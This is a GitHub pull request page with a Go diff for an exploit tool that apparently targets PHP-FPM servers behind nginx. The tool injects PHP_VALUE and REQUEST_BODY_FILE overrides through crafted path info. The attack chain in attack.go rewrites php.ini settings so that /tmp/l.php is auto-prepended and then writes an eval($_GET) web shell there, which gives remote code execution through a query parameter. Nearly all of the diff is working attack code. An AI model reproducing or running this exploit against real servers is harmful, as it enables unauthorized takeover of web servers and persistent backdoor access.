Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

implement attack that uses only .php endings #2

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
71 changes: 38 additions & 33 deletions attack.go
Original file line number Diff line number Diff line change
@@ -3,56 +3,61 @@ package main
import (
"bytes"
"log"
"math/rand"
"net/http"
"net/url"
"time"
)

var chain = []string{
"short_open_tag=1",
"html_errors=0",
"include_path=/tmp",
"auto_prepend_file=a",
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/a",
"extension_dir=\"<?=`\"",
"extension=\"$_GET[a]`?>\"",
}

const (
checkCommand = `a=/bin/sh+-c+'which+which'&` // must not contain any chars that are encoded (except space)
successPattern = "/bin/which"
cleanupCommand = ";echo '<?php echo `$_GET[a]`;return;?>'>/tmp/a;which which"
var (
successPattern = "3422557222"
codeParams = url.Values{
"a": []string{
`file_put_contents('/tmp/l.php','<?php eval($_GET["a"]);return;?>');echo 0xdeadbeef-313371337;`},
"v": []string{`<?eval($_GET['a']);?>`},
}.Encode() + "&"
)

func Attack(requester *Requester, params *AttackParams) error {
func init() {
rand.Seed(time.Now().UnixNano())
}

func Attack(o *Overrider) error {
log.Printf("Performing attack using php.ini settings...")

chain := []*struct {
Set func(string, string) (*http.Response, []byte, error)
Payload string
}{
{o.PHPValue, "short_open_tag=1;;;.php"},
{o.PHPValue, "html_errors=0;;;;;;.php"},
{o.PHPValue, "include_path=/tmp;;.php"},
{o.PHPValue, "auto_prepend_file=l.php"},
{o.PHPValue, "log_errors=1;;;;;;;.php"},
{o.PHPValue, "error_reporting=10;.php"},
{o.PHPValue, " error_log=/tmp/l.php"},
{o.RequestBodyFile, `<?${$_GET/*.php`},
{o.RequestBodyFile, `*/["v"]}?>x.php`},
}

attackLoop:
for {
for _, payload := range chain {
_, body, err := SetSettingSingle(requester, params, payload, checkCommand)
for _, item := range chain {
_, body, err := item.Set(item.Payload, codeParams)
if err != nil {
return err
}
if bytes.Contains(body, []byte(successPattern)) {
log.Printf(`Success! Was able to execute a command by appending "?%s" to URLs`, checkCommand)
log.Printf(`Success! Should be able to execute a command by appending "?a=<php code>" to URLs`)
break attackLoop
}
}

}

log.Printf("Trying to cleanup /tmp/a...")
cleanup := url.Values{"a": []string{cleanupCommand}}
for {
_, body, err := requester.RequestWithQueryStringPrefix("/", params, cleanup.Encode()+"&")
if err != nil {
return err
}
if bytes.Contains(body, []byte(successPattern)) {
log.Print("Done!")
break
}
rand.Shuffle(len(chain), func(i, j int) {
t := chain[i]
chain[i] = chain[j]
chain[j] = t
})
}
return nil
}
14 changes: 7 additions & 7 deletions detect.go
Original file line number Diff line number Diff line change
@@ -84,16 +84,16 @@ func Detect(requester *Requester, method *DetectMethod, hints *AttackParams, onl
}
}

payload, err := MakePathInfo(method.PHPOptionEnable)
if err != nil {
// methods are hardcoded, this shouldn't happen
panic(err)
}
for try := 0; try < SettingEnableRetries; try += 1 {
for _, qsl := range qslCandidates {
for _, pl := range plCandidates {
params := &AttackParams{qsl, pl}
resp, data, err := requester.Request(payload, params)
overrider := &Overrider{
Requester: requester,
Params: params,
}
setting := method.PHPOptionEnable
resp, data, err := overrider.PHPValue(setting, "")
if err != nil {
return nil, fmt.Errorf("error for %#v: %v", params, err)
}
@@ -103,7 +103,7 @@ func Detect(requester *Requester, method *DetectMethod, hints *AttackParams, onl

if method.Check(resp, data) {
log.Printf("Attack params found: %v", params)
return params, SetSetting(requester, params, method.PHPOptionDisable, SettingEnableRetries)
return params, overrider.PHPValueWithRetries(method.PHPOptionDisable, SettingEnableRetries)
}
}
}
12 changes: 3 additions & 9 deletions detect_methods.go
Original file line number Diff line number Diff line change
@@ -11,19 +11,13 @@ type DetectMethod struct {
Check func(resp *http.Response, data []byte) bool
}

// TODO: we need detection method with .php at the end of each option
var Methods = map[string]*DetectMethod{
"session.auto_start": {
PHPOptionEnable: "session.auto_start=1",
PHPOptionDisable: "session.auto_start=0",
PHPOptionEnable: "session.auto_start=1;;;",
PHPOptionDisable: "session.auto_start=0;;;",
Check: func(resp *http.Response, _ []byte) bool {
return strings.Contains(resp.Header.Get("set-cookie"), "PHPSESSID")
},
},
"output_handler.md5": {
PHPOptionEnable: "output_handler=md5",
PHPOptionDisable: "output_handler=NULL",
Check: func(_ *http.Response, data []byte) bool {
return len(data) == 16
},
},
}
15 changes: 11 additions & 4 deletions main.go
Original file line number Diff line number Diff line change
@@ -41,12 +41,16 @@ func main() {
log.Fatal("--reset-setting requires complete params")
}
if setting == "" {
setting = m.PHPOptionDisable
log.Fatal("--reset-setting requires --setting")
}
if resetRetries == -1 {
resetRetries = 1 << 32
}
if err := SetSetting(requester, params, setting, resetRetries); err != nil {
o := &Overrider{
Requester: requester,
Params: params,
}
if err := o.PHPValueWithRetries(setting, resetRetries); err != nil {
log.Fatalf("ResetSetting() returned error: %v", err)
}
log.Printf("I did my best trying to set %#v", setting)
@@ -99,8 +103,11 @@ func main() {
log.Print("Attack phase is disabled, so that's it")
return
}

if err := Attack(requester, params); err != nil {
o := &Overrider{
Requester: requester,
Params: params,
}
if err := Attack(o); err != nil {
log.Fatalf("Attack returned error: %v", err)
}
},
46 changes: 46 additions & 0 deletions overrider.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
package main

import (
"fmt"
"log"
"net/http"
)

type Overrider struct {
Requester *Requester
Params *AttackParams
}

func (o *Overrider) Override(hdr HeaderType, name, value, queryStringPrefix string) (*http.Response, []byte, error) {
payload, err := makePathInfo(name, value)
if err != nil {
return nil, nil, err
}
return o.Requester.RequestEx(payload, o.Params, queryStringPrefix, hdr)
}

func (o *Overrider) PHPValue(value, queryStringPrefix string) (*http.Response, []byte, error) {
return o.Override(HdrEbutMamku, "PHP_VALUE", value, queryStringPrefix)
}

func (o *Overrider) RequestBodyFile(value, queryStringPrefix string) (*http.Response, []byte, error) {
return o.Override(HdrIOnaNeProtiv, "REQUEST_BODY_FILE", value, queryStringPrefix)
}

func (o *Overrider) PHPValueWithRetries(value string, tries int) error {
log.Printf("Trying to set %#v...", value)
for i := 0; i < tries; i++ {
if _, _, err := o.PHPValue(value, ""); err != nil {
return fmt.Errorf("error while setting %#v: %v", value, err)
}
}
return nil
}

func makePathInfo(name, value string) (string, error) {
pi := "/" + name + "\n" + value
if len(pi) != PosOffset {
return "", fmt.Errorf("override has wrong length: %#v", pi)
}
return pi, nil
}
34 changes: 0 additions & 34 deletions phpini.go

This file was deleted.

24 changes: 20 additions & 4 deletions requester.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
package main

import (
"bytes"
"crypto/tls"
"fmt"
"io/ioutil"
@@ -16,6 +17,13 @@ type Requester struct {
cookie string
}

type HeaderType int

const (
HdrEbutMamku HeaderType = iota
HdrIOnaNeProtiv
)

func NewRequester(resource, cookie string) (*Requester, error) {
u, err := url.Parse(resource)
if err != nil {
@@ -44,10 +52,10 @@ func NewRequester(resource, cookie string) (*Requester, error) {
}

func (r *Requester) Request(pathInfo string, params *AttackParams) (*http.Response, []byte, error) {
return r.RequestWithQueryStringPrefix(pathInfo, params, "")
return r.RequestEx(pathInfo, params, "", HdrEbutMamku)
}

func (r *Requester) RequestWithQueryStringPrefix(pathInfo string, params *AttackParams, prefix string) (*http.Response, []byte, error) {
func (r *Requester) RequestEx(pathInfo string, params *AttackParams, prefix string, header HeaderType) (*http.Response, []byte, error) {
if !strings.HasPrefix(pathInfo, "/") {
return nil, nil, fmt.Errorf("path doesn't start with slash: %#v", pathInfo)
}
@@ -62,16 +70,24 @@ func (r *Requester) RequestWithQueryStringPrefix(pathInfo string, params *Attack
return nil, nil, fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v, prefix=%#v", params.QueryStringLength, qslDelta, prefix)
}
u.RawQuery = prefix + strings.Repeat("Q", qslPrime)
req, err := http.NewRequest("GET", u.String(), nil)
body := bytes.NewBuffer([]byte("el=da"))
req, err := http.NewRequest("POST", u.String(), body)
if err != nil {
return nil, nil, err
}
req.Header.Set("User-Agent", UserAgent)
if r.cookie != "" {
req.Header.Set("Cookie", r.cookie)
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("D-Pisos", "8"+strings.Repeat("=", params.PisosLength)+"D")
req.Header.Set("Ebut", "mamku tvoyu")
switch header {
case HdrEbutMamku:
req.Header.Set("Ebut", "mamku tvoyu")
case HdrIOnaNeProtiv:
req.Header.Set("I-Ona-Protiv", "net")
}

resp, err := r.cl.Do(req)
if resp != nil {
defer func() { _ = resp.Body.Close() }()